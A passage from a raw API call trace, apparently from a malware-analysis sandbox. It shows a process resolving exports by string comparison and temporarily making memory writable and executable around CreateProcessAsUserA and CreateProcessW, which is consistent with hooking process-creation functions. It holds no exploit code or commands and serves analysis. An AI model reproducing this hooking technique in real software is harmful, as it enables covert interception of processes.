(lpString1="AddMandatoryAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditFree", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditSetSecurity", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BackupEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BackupEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CreateProcessAsUserA") returned -1 [0073.335] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ClearEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ClearEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CloseEventLog", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CloseTrace", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ControlService", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ControlServiceExA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ControlServiceExW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ControlTraceA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ControlTraceW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSidToStringSidA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0073.336] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="CopySid", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CreateProcessAsUserA") returned -1 [0073.337] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CreateProcessAsUserA") returned 0 [0073.337] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x2) returned 1 [0073.337] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ee30 [0073.337] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ee50 [0073.337] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ee30 | out: hHeap=0x2030000) returned 1 [0073.337] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ee50 | out: hHeap=0x2030000) returned 1 [0073.337] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x20) returned 1 [0073.372] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x40) returned 1 [0073.372] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x40) returned 1 [0073.372] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec70, ReturnLength=0x0) returned 0x0 [0073.372] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x1000) returned 0x242ee30 [0073.372] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77320000 [0073.372] GetProcAddress (hModule=0x77320000, lpProcName="EnumProcessModules") returned 0x77321050 [0073.372] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x242ee30, cb=0x1000, lpcbNeeded=0x23ed78 | out: lphModule=0x242ee30, lpcbNeeded=0x23ed78) returned 1 [0073.373] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x13f510000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x13f510000, AllocationBase=0x13f510000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.373] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.373] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242fe40 [0073.373] lstrcmpiA (lpString1="SignalInitializeCrashReporting", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="SignalChromeElf", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="GetInstallDetailsPayload", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="ImpersonateNamedPipeClient", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="SetEntriesInAclW", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="GetSecurityInfo", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="SystemFunction036", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RegDisablePredefinedCache", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="RevertToSelf", lpString2="CreateProcessW") returned 1 [0073.373] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="SetKernelObjectSecurity", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessW") returned -1 [0073.374] lstrcmpiA (lpString1="GetKernelObjectSecurity", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessW") returned -1 [0073.374] lstrcmpiA (lpString1="SetTokenInformation", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetAce", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetSecurityDescriptorSacl", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0073.374] lstrcmpiA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0073.374] lstrcmpiA (lpString1="SetThreadToken", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="DuplicateTokenEx", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="DuplicateToken", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="CreateRestrictedToken", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="EqualSid", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessW") returned -1 [0073.374] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0073.374] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessW") returned 1 [0073.374] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0073.375] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0073.375] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetExitCodeProcess", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetFileInformationByHandle", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0073.375] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0073.375] lstrcmpiA (lpString1="QueryDosDeviceW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="RemoveDirectoryW", lpString2="CreateProcessW") returned 1 [0073.375] lstrcmpiA (lpString1="GetTempPathW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="SetFileAttributesW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="ReplaceFileW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0073.376] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="MoveFileW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="IsDebuggerPresent", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="HeapSize", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="HeapReAlloc", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetThreadId", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="FindFirstFileExW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="FlushViewOfFile", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="RtlCaptureStackBackTrace", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="VirtualQuery", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetSystemInfo", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="GetProcessTimes", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="VirtualQueryEx", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessW") returned 1 [0073.376] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="SetInformationJobObject", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="GetQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="PostQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0073.377] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="DecodePointer", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0073.377] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0073.377] VirtualProtect (in: lpAddress=0x13f5d3488, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.377] VirtualProtect (in: lpAddress=0x13f5d3488, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.377] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242feb0 [0073.377] lstrcmpiA (lpString1="SignalInitializeCrashReporting", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="SignalChromeElf", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="GetInstallDetailsPayload", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="ImpersonateNamedPipeClient", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="SetEntriesInAclW", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="GetSecurityInfo", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessA") returned 1 [0073.377] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SystemFunction036", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="RegDisablePredefinedCache", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA 